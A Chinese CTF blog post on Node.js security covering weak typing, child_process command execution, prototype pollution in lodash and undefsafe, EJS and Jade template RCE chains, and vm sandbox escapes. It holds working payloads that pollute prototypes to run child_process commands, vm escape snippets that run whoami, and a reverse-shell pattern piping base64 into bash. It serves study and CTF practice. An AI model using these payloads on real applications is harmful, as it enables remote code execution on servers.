March 2, 2023

Node.Js安全分析

Node.js特性

弱类型比较

1
2
3
4
5
6
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false

数字与数字字符串比较时,数字型字符串会被强转之后比较。
字符串与字符串比较,比第一个ASCII码。

1
2
3
4
5
6
console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false

空数组比较为false。
数组之间比较第一个值,如果有字符串取第一个比较。
数组永远比非数值型字符串小。

1
2
3
4
console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false

变量拼接

1
2
3
4
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

ES6模板字符串

1
2
var kino = "daigua";
console.log("hello %s",kino);

image.png

1
2
var kino = "daigua";
console.log(`hello${kino}world`);

image.png
利用模板字符串可以用来bypass一些关键词的过滤

单引号和反引号

在nodejs中反引号可以用来替代单引号:
image.png

命令执行

一些危险函数

eval()

和php的差不多,动态执行指令,可以执行字符串

1
2
var code="console.log('hello kino')";
eval(code)

image.png

假如想执行系统指令的话有下列几种方式

  1. **spawn()**:启动一个子进程来执行命令。spawn (命令,{shell:true})。需要开启命令执行的指令。
  2. **exec()**:启动一个子进程来执行命令,与spawn()不同的是其接口不同,它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。
  3. execFile() :启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行 shell 命令,类似 exec。
  4. **fork()**:与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件,实际利用中需要提前写入恶意文件

区别:

  1. **spawn()与exec()、execFile()不同的是,后两者创建时可以指定timeout属性**,设置超时时间, 一旦创建的进程运行超过设定的时间将会被杀死。
  2. exec()与execFile()不同的是,**exec()适合执行已有的命令,execFile()适合执行文件**。

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
以上所有函数都是child_process模块中的函数

exec

1
2
var process=require('child_process');
process.exec("calc")

image.png

execFile

1
require('child_process').execFile("calc",{shell:true});

他可以执行文件,也可以像这样调用指令,执行文件指的是执行exe这样的,而不是执行js文件,虽然也可以

1
2
3
4
5
6
7
const { execFile } = require('node:child_process');
const child = execFile('node', ['./calc.js'], (error, stdout, stderr) => {
if (error) {
throw error;
}
console.log(stdout);
});

image.png

fork

1
require('child_process').fork("./hacker.js");

他就偏向于执行js文件了:
image.png

spawn

1
require('child_process').spawn("calc",{shell:true});

image.png
假如想要执行反弹shell,用上述的几种命令都可以,反弹shell的格式就用require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');或者bash -c "bash -i xxx"这两种都可以

同步和异步

上述的exec、spawn、fork等等都是分为同步和异步的,所谓异步也就是不堵塞程序的执行,因此也不可能会有回显,因此一般我们用的都是同步的命令执行来获取回显,如execSync,spawnSync等等

可能有用的一些函数

settimeout()

settimeout(function,time),该函数作用是两秒后执行函数,function 处为我们可控的参数。但是只执行一次

1
2
3
4
5
6
7
8
9
10
var express = require("express");
var app = express();

setTimeout(()=>{
console.log("console.log('Hacked')");
},2000);

var server = app.listen(1234,function(){
console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

image.png

setinterval()

setinterval (function,time),该函数的作用是每个两秒执行一次代码。
是每两秒执行一次,执行多次

1
2
3
4
5
6
7
8
9
10
11
var express = require("express");
var app = express();

setInterval(()=>{
console.log("console.log('Hacked')");
},2000);


var server = app.listen(1234,function(){
console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

image.png

function()

function(string)(),string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。
也是执行一次,在初始化的时候就会执行

1
2
3
4
5
6
7
8
var express = require("express");
var app = express();

var aaa=Function("console.log('Hacked')")();

var server = app.listen(1234,function(){
console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

image.png

基础原型链污染

这边还是建议大家看一下离别歌师傅的文章
一句话来说js中每个类对象在实例化的时候都会拥有prototype这个属性,代表着父类,js中就是利用该属性实现继承
其中prototype__proto__2个属性之间的关系可以用如下一段代码表示

1
2
3
4
5
6
7
8
9
10
function Foo() {
this.bar = 1
}

Foo.prototype.show = function show() {
console.log(this.bar)
}

let foo = new Foo()
foo.show()

foo.__proto__ == Foo.prototype
以下列copy函数为例:

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

这里存在一个合并赋值的操作,如果里面的key为__proto__那么会发生什么呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
var a={}
var c={"a":"test","__proto__":{"target":"flag"}}
console.log(c);
merge(a,c)
console.log({}.target)

image.png
输出结果如下,这里是个小坑,在我们创建c对象的时候,我们的本意是让__proto__代表一个键名,而执行的时候程序把它已经当做了c对象的原型,因此没有被当成键,污染失败,只需在此基础上做一个小改进即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
var a={}
var b=JSON.parse('{"a":"test","__proto__":{"target":"flag"}}')
console.log(b)
merge(a,b)
console.log({}.target)

image.png
污染成功,我们用JSON.parse创建对象即可
我们可以下断点一步步分析:
image.png
首先key为a,因为对象a中没有该键,所以直接进入else:
image.png
至此a对象有a这个key值了
image.png
到了__proto__键,因为2个对象都有,因此进入下一次的递归:
image.png
我们自定义的__proto__中只有一个target键,因此污染了a.__proto__['target']=flag
image.png
至此目的达成
image.png
由于对象的原型是Object,因此之后创建的每个对象都会带有污染的属性

lodash原型链污染

这里使用lodash4.17.4版本作为测试
lodash模块有以下几种污染函数,详细调试过程请看:

lodash.defaultsDeep

1
2
3
4
5
6
7
8
9
10
11
12
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
var o={};
mergeFn(o, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}

check();

image.png

lodash.merge

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

image.png

lodash.mergeWith

这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。
mergeWith(object, sources, [customizer])

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';

var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

image.png

lodash.set

Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。
set(object, path, value)

1
2
3
4
5
6
7
8
9
var object = { 'a': [{ 'b': { 'c': 3 } }] };

_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4

_.set(object, 'x[0].y.z', 5);
console.log(object.x[0].y.z);
// => 5
1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

image.png

lodash.setWith

Lodash.setWith 方法类似 set 方法。但是它还会接受一个 customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。
setWith(object, path, value, [customizer])

1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

image.png

Undefsafe模块原型链污染

正常用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.b.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: '123' } } }

我们可以看到,其可以帮助我们修改对应属性的值。如果当属性不存在时,我们想对该属性赋值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'skysec'
}
}
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并赋值。

原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'Hnusec'
}
}
};
var payload = "__proto__";
var target={"flag":"evil"}
a(object,payload,target);
console.log(object.flag);

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
var a = require("undefsafe");
var object = {
a: {
b: {
c: 1,
d: [1,2,3],
e: 'Hnusec'
}
}
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);

image.png

[网鼎杯 2020 青龙组]notes

暂时未做

safe-obj污染

ejs引擎原型链污染

这里以ctfshow的web340为例(因为源码都给我了,我直接run就好了XD)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var apiRouter = require('./routes/api');

var app = express();

//session
var identityKey = 'auth';

app.use(session({
name: identityKey,
secret: 'ctfshow_session_secret',
store: new FileStore(),
saveUninitialized: false,
resave: false,
cookie: {
maxAge: 60 * 60 * 1000 // 有效期,单位是毫秒
}
}));

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);
app.use('/login', loginRouter);
app.use('/api',apiRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};

// render the error page
res.status(err.status || 500);
// var o ={}
// console.log(o.__proto__)
res.render('error');
});

module.exports = app;

单看app.js可以发现引用了ejs模板引擎对页面进行渲染
在login.js存在污染:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

module.exports = router;

utils.copy这里就存在一个原型链污染,但是注意一下是一个双层的,因为传入的参数为user.userinfo套了个娃,这里就不多说是怎么解题的了,我们主要是分析ejs污染
我们把环境开起来,然后在login界面抓包:
image.png
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}}
这是我们的payload,接下来只需要继续访问一次就会触发命令执行:
image.png
我们下了断电,就一步步的分析一下:
image.png
首先进入response.js里的app.render,继续跟进:
image.png
又进入了application.js里的tryRender,从调试结果可以看出原型已经被污染了,现在是追溯怎么RCE的,继续跟进:
image.png
继续跟进:
image.png
这下到了ejs.js模块里去了,从这里开始重点分析,继续跟进:
image.png
在这里需要注意opts.outputFunctionName,这个属性默认是为undefined,我们这此污染了原型的这个属性,这个属性在哪里被利用了呢?继续看看:
image.png
他被拼贴了起来赋值给了prepened对象,我们继续看看prepended最后去了哪:
image.png
连着appened属性一起被拼贴到了this.source中:
image.png
然后进入了这一步,这一步是重点,ctor为Function,最后new了一个fn对象,fn对象也就是Function实例化出的,其中的src就是之前的this.source
image.png可以理解为是一个匿名函数:
image.png

1
2
3
4
5
6
7
8
var person = {
age:3
}

var myFunction = new Function("a", "return 1*a*this.age");

myFunction.apply(person,[2])
//6

它的apply方法用法就如上,最后fn调用了apply方法:
image.png
进入Template.compile函数:
image.png
虽然进入cb函数:
image.png
最后弹出计算机,这剩下的几个步骤也就是渲染模板然后返回结果,我们重点是在apply方法上,在那儿对outputFunctionName属性调用

jade引擎原型链污染

CTFSHOW的题真的太好用了(bushi
初期调试例子就看上面的文章就好了,感觉分析的不错
这里以Web342为例子
image.pngapp.js内改了engine为jade
先贴2个payload:

1
2
3
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('calc')"}}}
-----------------------------------------------------------------------
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}

你会发现下面的链子打不通,因此需要分析一波
报错信息中的调用栈如下
image.png
可以发现Compiler.visitNode,我们跟进下个断点:
image.png
image.png
node.type会出现为undefined的情况,因此污染的时候顺带type也得污染了
把所有visitxxx都测了一变结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
visitAttributes
visitEach
visitCode √
visitBlockComment√
visitComment√
visitText
visitFilter
visitTag
visitMixin
visitDoctype√
visitMixinBlock√
visitBlock
visitLiteral
visitWhen
visitCase
visitNode

至此也告一段落了

vm沙盒逃逸

上述文章我觉得对vm沙盒逃逸讲的很透彻,感兴趣的可以去看看,真滴不戳
vm逃逸最重要的就是一个作用域的问题,如何逃离vm创建的作用域,逃离到global去,然后获取到process对象,进而用process去引用require命令执行

1
2
3
4
5
6
7
8
9
10
11
const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }
1
2
3
4
5
6
7
8
const util = require('util');
const vm = require('vm');
global.globalVar = 3;
const sandbox = { globalVar: 1 };
vm.createContext(sandbox);
vm.runInContext('globalVar *= 2;', sandbox);
console.log(util.inspect(sandbox)); // { globalVar: 2 }
console.log(util.inspect(globalVar)); // 3

上述2个简单例子介绍了一下vm模块用法,下面来看看是怎么逃逸的

1
2
3
4
"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1);

image.png
从结果可以得知已经得到了process,注意代码的this.constructor.constructor
首先这里面的this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境的。第一个constructor得到的是这个this对象的构造器,第二个constructor得到的是构造器对象的构造器,也就是Function的Constructor,最后的()是调用这个用Function的constructor生成的函数,最终返回了一个process对象
然后就可以rce了
y1.mainModule.require('child_process').execSync('whoami').toString()

vm逃逸的一些bypass

this为null

如果遇到传入sandbox的对象为null时,该怎么办呢,如下

1
2
3
4
5
6
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

此时this->null,无法像之前一样逃逸,这时候就得用到函数的一个内置对象属性arguments.callee.caller,详情自行google,他返回的是函数的调用者,这部分的东西讲的可能不太清楚,所以就不讲了
我们上面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,这种情况下也是一样的,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

image.png
成功执行了命令
分析一下这段代码,首先是箭头函数:image.png
重写了沙盒对象中的toString方法,然后再console.log触发,通过arguments.callee.caller获取到了一个沙盒外的对象,进而和上面一样获取process

proxy劫持

如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性

proxy就是一个hook函数,在我们去访问对象的属性时(不管是否存在)都会触发这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const vm = require("vm");

const script =
`
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

如上代码就是将对象a实例化为了一个Proxy对象,然后访问abc属性(不存在)触发get方法,进而导致命令执行

借助异常处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const vm = require("vm");

const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}

上述代码的返回值无法直接利用,应该说是没有返回值
这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。
image.png

vm2逃逸

vm2只是在vm的基础上进行了封装

详细的话就在网上搜一搜吧,已经写麻了

还有就是github上一些poc,举个例子

[HFCTF2020]JustEscape

原型链污染的bypass

__proto__过滤

过滤了__proto__可以考虑在末尾加空格__proto__ ,或者使用obj.constructor.prototype来代替,obj.constructor.prototype==obj.__proto__

string.includes()绕过

使用数组可以进行绕过

Nodejs 8.12 请求走私

参考CVE-COLLECTION中

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#Nodejs#原型链